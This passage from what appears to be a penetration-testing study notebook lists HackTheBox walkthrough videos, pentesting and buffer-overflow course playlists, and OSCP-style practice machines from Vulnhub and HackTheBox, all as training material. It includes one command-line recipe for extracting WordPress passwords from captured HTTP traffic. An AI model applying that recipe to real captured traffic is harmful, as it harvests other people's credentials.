Popcorn](https://www.youtube.com//watch?v=NMGsnPSm8iw\&list=PLidcsTyj9JXJKC2u55YVa5aMDBRXsawhr\&index=30\&t=0s) (26:12) ### [CTF - Nix - Hard](https://www.youtube.com//playlist?list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH) 1. [HackTheBox - Zipper](https://youtu.be/RLvFwiDK_F8) (1:15:26) 2. [HackTheBox - Dab](https://www.youtube.com//watch?v=JvqBaZ0WnV4\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=3\&t=0s) (48:15) 3. [HackTheBox - Oz](https://youtu.be/yX00n1UmalE) (1:18:12) 4. [HackTheBox - Falafel](https://www.youtube.com//watch?v=CUbWpteTfio\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=5\&t=0s) (1:21:41) 5. [HackTheBox - CrimeStoppers](https://www.youtube.com//watch?v=bgKth1K44QA\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=6\&t=0s) (1:10:16) 6. [HackTheBox - Kotarak](https://www.youtube.com//watch?v=38e-sxPWiuY\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=7\&t=0s) (51:37) 7. [HackTheBox - Shrek](https://www.youtube.com//watch?v=tI592BjTd4o\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=8\&t=0s) (26:09) 8. [HackTheBox - Calamity](https://www.youtube.com//watch?v=EloOaaGg3nA\&list=PLidcsTyj9JXJlmHwZScT3He3rO4ni-xwH\&index=9\&t=0s) (42:01) 9. [HackTheBox - Holiday](https://youtu.be/FvHyt7KrsPE) (55:38) 10. [HackTheBox - Charon](https://youtu.be/_csbKuOlmdE) (1:16:36) 11. [HackTheBox - Joker](https://youtu.be/5wyvpJa9LdU) (48:01) ### [CTF - Nix - Insane](https://www.youtube.com//playlist?list=PLidcsTyj9JXLI9mAR4MPiL19hq5lpaYNd) 1. [HackTheBox - Reddish](https://youtu.be/Yp4oxoQIBAM) (1:36:50) 2. [HackTheBox - Mischief](https://www.youtube.com//watch?v=GKo6xoB1g4Q\&list=PLidcsTyj9JXLI9mAR4MPiL19hq5lpaYNd\&index=3\&t=0s) (59:01) 3. [HackTheBox - Nightmarev2 - Speed Run/Unintended Solutions](https://youtu.be/TVhtjiSedjU) (39:22) 4. [HackTheBox - Nightmare](https://youtu.be/frh-jYaUvrU) (2:36:55) 5. [HackTheBox - Fulcrum](https://www.youtube.com//watch?v=46RJxJ-Fm0Y\&list=PLidcsTyj9JXLI9mAR4MPiL19hq5lpaYNd\&index=6\&t=0s) (2:15:10) 6. [HackTheBox - Ariekei](https://youtu.be/Pc4tzsn-ats) (1:08:15) 7. [HackTheBox - Jail](https://youtu.be/80-73OYcrrk) (1:14:05) 8. [HackTheBox - Brainfuck](https://www.youtube.com//watch?v=o5x1yg3JnYI\&list=PLidcsTyj9JXLI9mAR4MPiL19hq5lpaYNd\&index=9\&t=0s) (36:01) # The Cyber Mentor updated 21/06/19 ## [My Entrepreneurial Journey](https://www.youtube.com//playlist?list=PLLKT__MCUeiyuEcu7PCeosDmzgfThnt9j) 1. [My Entrepreneurial Journey - Episode 1: Quitting My 6 Figure Cybersecurity Job to Start a Business](https://www.youtube.com//watch?v=5JI9c-pF-xQ\&list=PLLKT__MCUeiyuEcu7PCeosDmzgfThnt9j\&index=2\&t=0s) (33:30) 2. [My Entrepreneurial Journey - Episode 2: Week One of Business Ownership](https://youtu.be/OKmVKaETFTc) (26:55) ## [Hacking Live Streams](https://www.youtube.com//playlist?list=PLLKT__MCUeizPO6yRP3trZnH1SiEMkni4) 1. [Hacking Live Stream: Episode 1 - Kioptrix Level 1, HackTheBox Jerry, and Career Q\&A / AMA](https://youtu.be/zO6NdOjgwY0) (3:10:33) 2. [Hacking Live Stream: Episode 2 - HackTheBox Active, Vulnserver Buffer Overflow, and Career Q\&A / AMA](https://www.youtube.com//watch?v=uByoC5wv00Q\&list=PLLKT__MCUeizPO6yRP3trZnH1SiEMkni4\&index=3\&t=0s) (1:56:33) 3. [Hacking Live Stream: Episode 3 - Hack The Box Blue, Devel, and Career Q\&A / AMA](https://www.youtube.com//watch?v=6Iu13SLN2Sw\&list=PLLKT__MCUeizPO6yRP3trZnH1SiEMkni4\&index=4\&t=0s) (1:34:08) 4. [Introductory Exploit Development Live Stream - x86 Assembly Primer and SEH Overflows w/ Ruri](https://www.youtube.com//watch?v=cpmdqMbEJyA\&list=PLLKT__MCUeizPO6yRP3trZnH1SiEMkni4\&index=5\&t=0s) (4:56:19) 5. [Exploit Development Live Stream Part 2- More Assembly and some Egghunting w/ Ruri](https://youtu.be/d119EhY8VD8) (3:33:29) 6. [Drunk Hacking My Own Website (Web App 101)](https://www.youtube.com//watch?v=mCINqXVoeH4\&list=PLLKT__MCUeizPO6yRP3trZnH1SiEMkni4\&index=7\&t=0s) (2:46:11) ## [Zero to Hero: A Practical Network Penetration Testing Course](https://www.youtube.com//playlist?list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj) 1. [Zero to Hero Pentesting: Episode 1 - Course Introduction, Notekeeping, Introductory Linux, and AMA](https://youtu.be/qlK174d_uu8) (4:08:48) 2. [Zero to Hero Pentesting: Episode 2 - Python 101](https://youtu.be/egg-GoT5iVk) (2:49:18) 3. [Zero to Hero Pentesting: Episode 3 - Python 102, Building a Terrible Port Scanner, and a Giveaway](https://www.youtube.com//watch?v=3GriwyvJzio\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=4\&t=0s) (2:34:07) 4. [Zero to Hero Pentesting: Episode 4 - Five Phases of Hacking + Passive OSINT](https://www.youtube.com//watch?v=ChdUC32lsYQ\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=5\&t=0s) (3:04:10) 5. [Zero to Hero Pentesting: Episode 5 - Scanning Tools (Nmap, Nessus, BurpSuite, etc.) & Tactics](https://youtu.be/t9aAhuG0LkE) (3:07:43) 6. [Zero to Hero Pentesting: Episode 6 - Enumeration (Kioptrix & Hack The Box)](https://www.youtube.com//watch?v=BWE51iudbPo\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=7\&t=0s) (2:48:34) 7. [Zero to Hero Pentesting: Episode 7 - Exploitation, Shells, and Some Credential Stuffing](https://www.youtube.com//watch?v=gGNjDwnXgsg\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=8\&t=0s) (2:47:50) 8. [Zero to Hero: Week 8 - Building an AD Lab, LLMNR Poisoning, and NTLMv2 Cracking with Hashcat](https://www.youtube.com//watch?v=_OseTyfXr3Q\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=9\&t=0s) (2:16:45) 9. [Zero to Hero: Week 9 - NTLM Relay, Token Impersonation, Pass the Hash, PsExec, and more](https://www.youtube.com//watch?v=QvMeLoyS944\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=10\&t=0s) (2:08:17) 10. [Zero to Hero: Episode 10 - MS17-010/EternalBlue, GPP/cPasswords, and Kerberoasting](https://www.youtube.com//watch?v=6rZddmB0fug\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=11\&t=0s) (1:32:55) 11. [Zero to Hero: Week 11 - File Transfers, Pivoting, and Reporting Writing](https://www.youtube.com//watch?v=MxjIDoGsGCQ\&list=PLLKT__MCUeiwBa7d7F_vN1GUwz_2TmVQj\&index=12\&t=0s) (1:25:47) ## [Windows AD Lab Setup](https://www.youtube.com//playlist?list=PLLKT__MCUeiycd-_VvfM1xI9t4uEV0g8i) 1. [Installing Windows Server 2016 on VMWare in 5 Minutes](https://www.youtube.com//watch?v=lS9Eulfpffg\&list=PLLKT__MCUeiycd-_VvfM1xI9t4uEV0g8i\&index=2\&t=0s) (4:42) 2. [Active Directory Exploitation - LLMNR/NBT-NS Poisoning](https://youtu.be/Fg2gvk0qgjM) (8:17) ## [Networking for Ethical Hackers](https://www.youtube.com//playlist?list=PLLKT__MCUeiyUKmYaakznsZeU4lZYwt_j) 1. [Networking for Ethical Hackers - TCP, UDP, and the Three-Way Handshake (Re-Up)](https://youtu.be/4Kho3Eeyx1U) (7:24) 2. [Networking for Ethical Hackers - Network Subnetting (Re-Up)](https://www.youtube.com//watch?v=1892iszqnCg\&list=PLLKT__MCUeiyUKmYaakznsZeU4lZYwt_j\&index=3\&t=0s) (21:06) 3. [Networking for Ethical Hackers - Network Subnetting Part 2: The Challenge (Re-Up)](https://www.youtube.com//watch?v=ap5_OArxgMI\&list=PLLKT__MCUeiyUKmYaakznsZeU4lZYwt_j\&index=4\&t=0s) (6:57) 4. [Networking for Ethical Hackers - Building A Basic Network with Cisco Packet Tracer (Re-Up)](https://youtu.be/NhxXrDLxlk0) (19:09) ## [Beginner Linux for Ethical Hackers](https://www.youtube.com//playlist?list=PLLKT__MCUeiwfK18Io6kvwrrhqQyQnV5W) 1. [Beginner Linux for Ethical Hackers - Navigating the File System](https://youtu.be/r8giT8BBdw8) (12:20) 2. [Beginner Linux for Ethical Hackers - Users and Privileges](https://youtu.be/Sl60jGmr8e0) (9:40) 3. [Beginner Linux for Ethical Hackers - Common Network Commands](https://www.youtube.com//watch?v=CxzdU71yiaY\&list=PLLKT__MCUeiwfK18Io6kvwrrhqQyQnV5W\&index=4\&t=0s) (6:08) 4. [Beginner Linux for Ethical Hackers - Viewing, Creating, and Editing Files](https://youtu.be/Lhubd_vrBjU) (6:16) 5. [Beginner Linux for Ethical Hackers - Installing and Updating Tools](https://youtu.be/k6isN-5-qdM) (7:53) 6. [Beginner Linux for Ethical Hackers - Controlling Kali Services](https://youtu.be/qEyJzThzJ6c) (4:13) 7. [Beginner Linux for Ethical Hackers - Scripting with Bash](https://www.youtube.com//watch?v=GENx_pXo7Co\&list=PLLKT__MCUeiwfK18Io6kvwrrhqQyQnV5W\&index=8\&t=0s) (19:15) ## [Buffer Overflows Made Easy](https://www.youtube.com//playlist?list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G) 1. [Buffer Overflows Made Easy - Part 1: Introduction](https://youtu.be/qSnPayW6F7U) (8:54) 2. [Buffer Overflows Made Easy - Part 2: Spiking](https://www.youtube.com//watch?v=3x2KT4cRP9o\&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G\&index=3\&t=0s) (10:29) 3. [Buffer Overflows Made Easy - Part 3: Fuzzing](https://youtu.be/FCIfWTAtPr0) (6:27) 4. [Buffer Overflows Made Easy - Part 4: Finding the Offset](https://www.youtube.com//watch?v=GqwyonqLYdQ\&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G\&index=5\&t=0s) (5:42) 5. [Buffer Overflows Made Easy - Part 5: Overwriting the EIP](https://www.youtube.com//watch?v=Wh9wRKBzajo\&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G\&index=6\&t=0s) (3:41) 6. [Buffer Overflows Made Easy - Part 6: Finding Bad Characters](https://youtu.be/uIFYNVqpZ0k) (6:25) 7. [Buffer Overflows Made Easy - Part 7: Finding the Right Module](https://www.youtube.com//watch?v=k9D9RuFT02I\&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G\&index=8\&t=0s) (8:43) 8. [Buffer Overflows Made Easy - Part 8: Generating Shellcode and Gaining Shells](https://www.youtube.com//watch?v=qSjxR8tfokg\&list=PLLKT__MCUeix3O0DPbmuaRuR_4Hxo4m3G\&index=9\&t=0s) (7:12) # Machines Similar to OSCP Some machines like the machines you see on the OSCP ## Vulnhub ``` Kioptrix: Level 1 (#1): https://www.vulnhub.com/entry/kioptrix-level-1-1,22/ Kioptrix: Level 1.1 (#2): https://www.vulnhub.com/entry/kioptrix-level-11-2,23/ Kioptrix: Level 1.2 (#3): https://www.vulnhub.com/entry/kioptrix-level-12-3,24/ Kioptrix: Level 1.3 (#4): https://www.vulnhub.com/entry/kioptrix-level-13-4,25 Kioptrix: 2014: https://www.vulnhub.com/entry/kioptrix-2014-5,62/ FristiLeaks 1.3: https://www.vulnhub.com/entry/fristileaks-13,133/ Stapler 1: https://www.vulnhub.com/entry/stapler-1,150/ VulnOS 2: https://www.vulnhub.com/entry/vulnos-2,147/ SickOs 1.2: https://www.vulnhub.com/entry/sickos-12,144/ Brainpan 1: https://www.vulnhub.com/entry/brainpan-1,51/ HackLAB: Vulnix: https://www.vulnhub.com/entry/hacklab-vulnix,48/ /dev/random: scream: https://www.vulnhub.com/entry/devrandom-scream,47/ pWnOS 2.0: https://www.vulnhub.com/entry/pwnos-20-pre-release,34/ SkyTower 1: https://www.vulnhub.com/entry/skytower-1,96/ Mr-Robot 1: https://www.vulnhub.com/entry/mr-robot-1,151/ PwnLab: https://www.vulnhub.com/entry/pwnlab-init,158/ Metasploitable 3: https://github.com/rapid7/metasploitable3 Lin.Security: https://www.vulnhub.com/entry/linsecurity-1,244/ Temple of Doom: https://www.vulnhub.com/entry/temple-of-doom-1,243/ Pinkys Palace v1: https://www.vulnhub.com/entry/pinkys-palace-v1,225/ Pinkys Palace v2: https://www.vulnhub.com/entry/pinkys-palace-v2,229/ Zico2: https://www.vulnhub.com/entry/zico2-1,210/ Wintermute: https://www.vulnhub.com/entry/wintermute-1,239/ Lord of the root 1.0.1: https://www.vulnhub.com/entry/lord-of-the-root-101,129/ Tr0ll 1: https://www.vulnhub.com/entry/tr0ll-1,100/ Tr0ll 2: https://www.vulnhub.com/entry/tr0ll-2,107/ Web Developer 1: https://www.vulnhub.com/entry/web-developer-1,288/ SolidState: https://www.vulnhub.com/entry/solidstate-1,261/ ``` ## HTB ``` https://docs.google.com/spreadsheets/d/1dwSMIAPIam0PuRBkCiDI88pU3yzrqqHkDtBngUHNCw8/edit#gid=1839402159 ``` ### Linux ``` Lame 10.10.10.3 brainfuck 10.10.10.17 shocker 10.10.10.56 bashed 10.10.10.68 nibbles 10.10.10.75 beep 10.10.10.7 cronos 10.10.10.13 nineveh 10.10.10.43 sense 10.10.10.60 solidstate 10.10.10.51 kotarak 10.10.10.55 node 10.10.10.58 valentine 10.10.10.79 poison 10.10.10.84 sunday 10.10.10.76 tartarsauce 10.10.10.88 ``` ### Windows ``` legacy Blue Devel Optimum Bastard granny Arctic grandpa silo bounty jerry conceal ``` # Search Ippsec's Videos Ippsec Video Search # Pcap analysis ## Wordpress Login This will search for the wp-login url in the file and pull out the pwd in the url if it is sent over HTTP rather than HTTPS ``` strings file.pcapng | grep wp-admin | grep pwd ``` # RegEx ![http://blog.isecurion.com/ matching an email address](https://1508177803-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LSy0aAo8OKT4I-Ahftv%2F-Lu2UITRbkGSG66GZEo8%2F-Lu36Pd5grA1fcAq1p5b%2Fimage.png?alt=media\&token=b0ce0ec3-d4e7-48da-a0f2-17ea111f6fef) h[ttps://regex101.com/library?orderBy=MOST\_POINTS](https://regex101.com/library?orderBy=MOST_POINTS)